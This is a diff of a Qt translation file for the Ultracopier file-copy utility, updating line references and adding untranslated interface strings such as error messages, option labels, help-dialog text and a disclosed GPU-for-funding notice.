</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,245 +673,306 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
+ <source>The variables are %path%, %operation%</source>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
- <source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
- <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
- <source>Write the log file into:</source>
+ <location filename="../../../OptionDialog.ui" line="778"/>
+ <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
